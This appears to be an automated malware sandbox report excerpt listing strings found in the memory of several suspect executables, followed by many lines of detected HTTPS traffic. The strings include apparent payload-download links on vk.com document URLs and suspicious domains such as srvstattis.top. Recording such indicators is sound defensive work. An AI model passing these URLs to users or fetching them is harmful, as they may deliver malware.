Source: BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfe
Source: BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669847023?hash=ryX3Kg1W9ePIkzc6vvqmcK7uQKdsrG6gPWaYos4CQF0&dl=8t55Ziv6zwGe
Source: BI6oo9z4In.exe, 00000000.00000003.1757475621.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/
Source: BI6oo9z4In.exe, 00000000.00000003.1747368845.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745625501.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742705316.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1755961326.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1754428044.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1737273041.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748866235.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1757475621.0000000002B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/B
Source: BI6oo9z4In.exe, 00000000.00000003.1747368845.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745625501.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742705316.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1755961326.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1754428044.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1737273041.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748866235.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1757475621.0000000002B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/H
Source: BI6oo9z4In.exe, 00000000.00000003.1747368845.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745625501.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742705316.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1755961326.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1754428044.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1737273041.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748866235.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1757475621.0000000002B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/V
Source: BI6oo9z4In.exe, 00000000.00000003.1737215809.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/doc5294803_669444172?hash=h9HNKFC3zZA9b76sO7xwyzGneP1GyF1iEy2xZ2jA5y8&dl=d94daMXVZ
Source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2085485086.000000000566D000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2036781439.000000000566D000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2086391283.00000000061E1000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2088746807.00000000061F1000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2093698766.0000000006209000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2058757085.0000000001AD5000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2060114350.0000000001AF3000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2292997422.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2291205459.00000000058BD000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2297500238.00000000058E1000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2165373635.0000000005663000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2085485086.000000000566D000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2036781439.000000000566D000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2086391283.00000000061E1000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2088746807.00000000061F1000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2093698766.0000000006209000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2058757085.0000000001AD5000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2060114350.0000000001AF3000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2300077738.00000000058D7000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2292997422.00000000058CE000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2291205459.00000000058BD000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000003.2297500238.00000000058E1000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000016.00000002.2381679649.000000000441A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2372864881.0000000000447000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000003.2219794386.000000002957D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2372864881.0000000000447000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2372864881.0000000000447000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000003.2219794386.000000002957D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2217328313.0000000005F74000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2210855058.0000000000E55000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A0F000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.0000000001102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox//
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.0000000001102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/C
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2098291381.0000000005630000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2090137250.0000000005630000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2088445842.0000000005630000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2238477900.0000000005630000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2094097247.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2085768645.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2103043320.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2087157441.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2099523347.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2089379017.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2083557785.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2088897502.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2217900241.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2095732754.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2084621544.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2087675046.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2062396711.0000000001ABC000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2061627292.0000000001ABC000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001ABC000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2063166712.0000000001ABC000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2061957467.0000000001ABC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Q
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.0000000001102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/q
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000003.2219794386.000000002957D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2217328313.0000000005F74000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2210855058.0000000000E55000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A0F000.00000004.00000020.00020000.00000000.sdmp, _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.0000000001102000.00000004.00000020.00020000.00000000.sdmp, FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2372864881.0000000000447000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2210855058.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/7)ex
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/_1ata
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2098291381.0000000005630000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2090137250.0000000005630000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2088445842.0000000005630000.00000004.00000020.00020000.00000000.sdmp, 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2238477900.0000000005630000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2094097247.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2085768645.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2103043320.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2087157441.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2099523347.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2089379017.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2083557785.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2088897502.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2217900241.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2095732754.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2084621544.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000003.2087675046.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2062396711.0000000001ABC000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2061627292.0000000001ABC000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001ABC000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2063166712.0000000001ABC000.00000004.00000020.00020000.00000000.sdmp, H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000003.2061957467.0000000001ABC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/ox
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000002.2236046585.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/r
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.0000000001102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/refox
Source: Q7vDtN_em7fitYNxQll9ewNo.exe, 00000008.00000002.2217328313.0000000005F74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/txtaIwm8;
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.0000000001102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/txtta
Source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.sqlite.org/lang_aggfunc.html
Source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.sqlite.org/lang_corefunc.html
Source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2263513625.0000028B1CD61000.00000004.00000800.00020000.00000000.sdmp, uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2263513625.0000028B1CD4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.srvstattis.top/go/64a6fd1e-5abc-4551-8c7f-408157a00313?site_id=
Source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2263513625.0000028B1CD61000.00000004.00000800.00020000.00000000.sdmp, uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2263513625.0000028B1CD4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xot.traxa41.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
